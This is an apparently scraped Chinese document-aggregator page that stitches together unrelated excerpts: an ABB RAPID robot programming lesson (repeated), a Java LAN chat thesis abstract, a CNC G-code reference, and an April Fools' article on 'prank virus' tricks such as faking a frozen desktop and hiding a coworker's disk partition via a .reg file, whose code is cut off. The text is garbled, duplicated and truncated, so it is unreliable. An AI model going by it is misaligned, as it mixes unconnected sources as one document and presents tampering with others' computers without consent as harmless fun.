ABB[a]-J-6ABB机器人的程序编程 6.1任务目标 ?掌握常用的PAPID程序指令。 ?掌握基本RAPID程序编写、调试、自动运行和保存模块。 6.2任务描述 ◆建立程序模块test12.24,模块test12.24下建立例行程序main和Routine1,在main程序下进行运动指 令的基本操作练习。 ◆掌握常用的RAPID指令的使用方法。 ◆建立一个可运行的基本RAPID程序,内容包括程序编写、调试、自动运行和保存模块。 6.3知识储备 6.3.1程序模块与例行程序 RAPID程序中包含了一连串控制机器人的指令,执行这些指令可以实现对机器人的控制操作。 应用程序是使用称为RAPID编程语言的特定词汇和语法编写而成的。RAPID是一种英文编程语言,所包含的指令可以移动机器人、设置输出、读取输入,还能实现决策、重复其他指令、构造程序、与系统操作员交流等功能。RAPID程序的基本架构如图所示: RAPID程序的架构说明: 1)RAPID程序是由程序模块与系统模块组成。一般地,只通过新建程序模块来构建机器人的程序,而系统模块多用于系统方面的控制。 2)可以根据不同的用途创建多个程序模块,如专门用于主控制的程序模块,用于位置计算的程序模块,用于存放数据的程序模块,这样便于归类管理不同用途的例行程序与数据。 3)每一个程序模块包含了程序数据、例行程序、中断程序和功能四种对象,但不一定在一个模块中都有这四种对象,程序模块之间的数据、例行程序、中断程序和功能是可以互相调用的。

4)在RAPID程序中,只有一个主程序main,并且存在于任意一个程序模块中,并且是作为整个RAPID 程序执行的起点。 操作步骤: 1.单击“程序编辑器”,查看 RAPID程序。 2.单击“例行程序”,查看例行 程序列表。 3.单击“后退”或“模块”标签查 看模块列表。 4.在“模块”和“例行程序”视图 中,可以点击“文件”—“新建” 去建立模块或例行程序。 6.3.2在示教器上进行指令编程的基本操作 ABB机器人的RAPID编程提供了丰富的指令来完成各种简单与复杂的应用。下面就从最常用的指令开始学习RAPID编程,领略RAPID丰富的指令集提供的编程便利性。

基于JAVA局域网聊天程序设计与实现(附源代码)

局域网聊天课程设计 摘要 随着互联网的发展,网络聊天工具作为一种交流工具,已经受到网民的青睐。目前,出现了很多功能强大的聊天工具,其中应用比较广泛的有腾讯QQ、MSN-Messager等等。 即时通讯软件,是每一个上网用户都需要的工具,它除了能够让您迅速地在网上找到自己的朋友和伙伴之外,还可以实时交谈和传递信息,截止到目前,全球约有近3亿多人使用即时软件,正因为即时通讯软件拥有数以亿计的用户和增长的市场,所以各个公司都盯上了这个最大的市场,一时间,即时通讯市场硝烟四起。 对等网络(peer-to-peer,简称P2P),应用最初出现时和现在并不相同。事实上可以认为它是若干不同技术以及流行趋势相结合的产物。以下是导致P2P技术发展最重要的趋势:首先,一些新技术与软件工程的结合,形成了一种将工作分散的趋势。P2P计算正是这种分散工作趋势的结果。其次,在企业应用集成等因素的驱动下,过去十年渐渐形成从集中的单机系统转向分布式系统。然而随着互联网的发展,全面的分布式计算也就成为一种迫切需求。 关键词:局域网聊天 P2P java

Abstract With the development of the Internet,the chat tool as a communication tool, has been popularly accepted by netizens of all ages. At present, there are many powerful chat tools, of which Tencent QQ, MSN-Messager are much more prevalent. Instant messaging software is necessary for every one who connects to the internet, which can not only provide you a prompt way to find friends and partners online, but can provide you the convenience of internet relay chat and information delivering. Up to now, there are about 300 million people using real-time software all over the world. As more and more corporations have focused on this market with growing potential, which has hundreds of millions of uses, the competitions among these corporations are extremely fierce. The initial application of peer-to-peer network (peer-to-peer, referred to as P2P) is not the same as it is now. In fact, it can be regarded as a combination of different technologies and fashion trends. Below are the most important trends that have led the development of P2P technology: First of all, the integration of software engineering and new technologies led to a working dispersion trend. As a result, P2P computing was born. Then, in the past decade, it has turned fro m a single centralized system to distributed system due to the motivation of factors such as enterprise application integration. At last, with the development of the Internet, however, a comprehensive distributed computing has become an urgent need. Keywords:LAN chat P2P java

CNC加工中心程序代码大全

1. 数控程序中字母的含义 O:程序号,设定程序号 N:程序段号,设定程序顺序号 G:准备功能 X/Y/Z :尺寸字符,轴移动指令 A/B/C/U/V/W:附加轴移动指令 R:圆弧半径 I/J/K:圆弧中心坐标(矢量) F:进给,设定进给量 S:主轴转速,设定主轴转速 T:刀具功能,设定刀具号 M:辅助功能,开/关控制功能 H/D:刀具偏置号,设定刀具偏置号 P/X:延时,设定延时时间 P:程序号指令,设定子程序号(如子程序调用:M98P1000) L:重复,设定子程序或固定循环重复次数(如:M98 P1000 L2,省略L代表L1)P/W/R/Q:参数,固定循环使用的参数(如:攻牙G98/(G99)G84 X_ Y_ R_ Z_ P_ F_) 2. 常用G代码解释 G00:定位或快速移动 G01:直线插补 G02:圆弧插补/螺旋线插补CW G03:圆弧插补/螺旋线插补CCW G04:停留时间或延时时间 如:G04 X1000(或G04 X1.0) G04 P1000表示停留1秒钟 G09:准确停止或精确停止检查(检查是否在目标范围内) G10:可编程数据输入 G17:选择XPYP 平面 XP:X 轴或其平行轴 G18:选择ZPXP 平面 YP:Y 轴或其平行轴 G19:选择YPZP 平面 ZP:Z 轴或其平行轴 G20:英寸输入 G21:毫米输入 G28:返回参考点检测 格式:G91/(G90) G28 X__ Y__ Z__ 经过中间点X__ Y__ Z__返回参考点(绝对值/增量值指令) G29:从参考点返回 G91/(G90) G29 X__ Y__ Z__ 从起始点经过参考点返回到目标点X__ Y__ Z__的指令(绝对值/增量值指令) G30 返回第2,3,4 参考点 G91/(G90) G30 P2 X__ Y__ Z__;返回第2 参考点(P2 可以省略。) G91/(G90) G30 P3 X__ Y__ Z__;返回第3 参考点

愚人节整人网页代码

竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一:整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开

机中???? 附带:print键截屏方法: 键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中:

ABB机器人的程序编程

ABB[a]-J-6ABB 机器人的程序编程 6.1 任务目标 ?掌握常用的PAPID 程序指令。 ?掌握基本RAPID程序编写、调试、自动运行和保存模块。 6.2 任务描述 ◆建立程序模块test12.24,模块test12.24 下建立例行程序main 和Routine1,在main 程序下进行运动指 令的基本操作练习。 ◆掌握常用的RAPID 指令的使用方法。 ◆建立一个可运行的基本RAPID程序,内容包括程序编写、调试、自动运行和保存模块。 6.3 知识储备 6.3.1 程序模块与例行程序 RAPID 程序中包含了一连串控制机器人的指令,执行这些指令可以实现对机器人的控制操作。应用程序是使用称为RAPID 编程语言的特定词汇和语法编写而成的。RAPID 是一种英文编程语言,所包 含的指令可以移动机器人、设置输出、读取输入,还能实现决策、重复其他指令、构造程序、与系统操作 RAPID 程序的架构说明: 1)RAPID 程序是由程序模块与系统模块组成。一般地,只通过新建程序模块来构建机器人的程序,而系统模块多用于系统方面的控制。 2)可以根据不同的用途创建多个程序模块,如专门用于主控制的程序模块,用于位置计算的程序模块,用于存放数据的程序模块,这样便于归类管理不同用途的例行程序与数据。 3)每一个程序模块包含了程序数据、例行程序、中断程序和功能四种对象,但不一定在一个模块中都 1文档来源为:从网络收集整理.word版本可编辑.

有这四种对象,程序模块之间的数据、例行程序、中断程序和功能是可以互相调用的。 4)在RAPID 程序中,只有一个主程序main,并且存在于任意一个程序模块中,并且是作为整个RAPID 程序执行的起点。 操作步骤: 6.3.2 在示教器上进行指令编程的基本操作 ABB 机器人的RAPID 编程提供了丰富的指令来完成各种简单与复杂的应用。下面就从最常用的指令开始 2文档来源为:从网络收集整理.word版本可编辑.

相关文档
最新文档